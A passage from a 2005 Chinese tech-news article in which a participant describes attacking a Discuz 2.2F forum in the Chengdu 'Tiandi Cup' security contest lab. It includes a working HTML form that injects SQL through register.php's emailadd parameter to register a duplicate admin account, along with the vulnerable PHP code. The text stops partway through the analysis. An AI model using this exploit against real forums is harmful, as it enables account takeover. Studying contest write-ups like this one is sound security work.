相关文章:
- 四川成都黑客大赛技术细节与个人评论(2005-10-25 10:57:40)
- 当姜太公成为黑客时 网络钓鱼技术实现(2005-10-25 10:53:41)
- 菜鸟黑客入门攻击及防范技巧(2005-10-24 22:56:32)
- 解析:黑客通过网页窃取QQ方法(2005-10-24 22:52:34)
- 概论:黑客初级技术应用(2005-10-24 22:51:11)
![]() |
新闻 | 体育 | 财经 | 娱乐 | 商业 | 科技 | 汽车 | 数码 | 女人 | 旅游 | 教育 | 文化 | 广州 | 军事 | 部落 评论 | NBA | 明星 | 证券 | 基金 | 探索 | 房产 | 手机 | 两性 | 健康 | 培训 | 电影 | 游戏 | 拍卖 | 论坛 |
| 科技首页 | 重磅报道 | 专题 | IT茶馆 | 技术趋势 | 科学 | 学院 | 游戏 | 病毒 | 下载 | 论坛 | ![]() |
估计大家都知道成都的“天地杯”网络安全攻防大赛的消息了,既然和网络安全有关,估计不少朋友都想知道其中的技术细节,我就说说其中技术细节。至于和我一起参加比赛的人,都是圈内比较出名的人物,机会、优势几乎都在我们这边了,其他我就暂时不说了。圈内也有不少人知道是我们几个参加了,所以我觉得写出来也无所谓。先说说技术的,完了再说说我个人的看法。
首先说说这次的攻击环境:
Web 服务器( 172.16.0.125 )
系统: Windows Server 2003 / Apache 1.3.31
打开端口:80、3389
Web 程序:Discuz 2.2F
MySQL 服务器( 172.16.0.119 )
系统: Windows Server 2003 / Mysql 4.0.21
打开端口: 3306、3389
注意:比赛规定是不允许上外网,所有工具都是自己带的。且刚开始数据库服务器 IP 是未知的,我们的目标是拿到数据库上 D 盘的相应文件。
尽管我们几个人讨论了几个方案和分工,但是由于实际情况,我们还是做了一些改变,我几乎是全权负责攻击,其他人负责干扰对手、嗅探、搭建各种服务共我们交流、交换工具,由于不准上外网,我们下载了 QQ 企业版交流,在其中一个人的服务器上搭建了 WEB 服务器,提供我们自己带来一些工具,于是我们为了进攻的进度得以保障,我们每个人都修改了默认管理密码,禁用其他所有系统用户,停掉 N 多默认的服务,禁止空连接,做了本地安全策略,修改了 IP 地址的 C 段使我们和其他人不在同一个网段,配置好了,也差不多开始了。
经过了安全专家的精心配置,所以我想直接从系统入手可能性还是比较小,尽管如此,还是分配了两个人用扫描器对 Web 服务器进行扫描并生成报告,另外的人嗅探抓到了不少系统的密码等敏感信息,我就不说其他人了,由于我负责全部的攻击,我还是把过程写出来。
我知道 Discuz 2.2F 有两个致命漏洞,但是官方也发布了更新版本,不知道这里存在不,不管怎么说,获得 webshell 是最基本的,不然一切都不可能,恰好 Discuz 2.2F 给我们提供了条件,访问 http://172.16.0.125/forumdata/illegallog.php ,返回“ Access Denied ”,漏洞不存在,换一个,这个 2.2F 的早期版本可以注册相同的 ID ,不过对于繁体的论坛的中文名注册会变乱码,我只测试了英文名的,不管,先写一个表单:
<FORM action="http://172.16.0.125/register.php?emailadd=and uid=100000&doublee=1" method=post target=_blank>
<BR>
用户名 :
<INPUT value=admin name=username>
<BR>
<BR>
密码:
<INPUT value=123456 name=password>
<BR>
<BR>
确认密码:
<INPUT value=123456 name=password2>
<BR>
<BR>
E-mail :
<INPUT value=4ngel@21cn.com name=email>
<BR>
<BR>
<INPUT type=submit value=注册 name=regsubmit>
<BR>
</FORM>
</P>
这个漏洞不是我发现的,但是我自己分析过,在我们的内部论坛有我的分析报告,现在公布出来。先说说这个漏洞的利用和存在的理由。
register.php 的代码中有如下代码:
$email = trim($email);
<BR>
if(!$doublee && strstr($email, ’@’)) {
<BR>
$emailadd = "OR email=’$email’";
<BR>
}
这里是说如果不存在 $doublee 这个变量,并且判断邮件地址格式正确,就指定 $emailadd 这个变量为 "OR email=’$email’" ,为后面的 SQL 语句做准备。往下有一段代码如下:
$query = $db->
query("SELECT COUNT(*) FROM $table_members WHERE username=’$username’
<STRONG>
$emailadd
</STRONG>
");
<BR>
if($db->
result($query, 0)) {
<BR>
showmessage(’profile_account_duplicate’);
<BR>
}
默认 $emailadd = "OR email=’$email’" 是满足的,所以上面的 SQL 语句就变成判断用户名和邮箱,有任意一个相同,就提示“该用户名或 Email 地址已经被注册了,请返回重新填写。”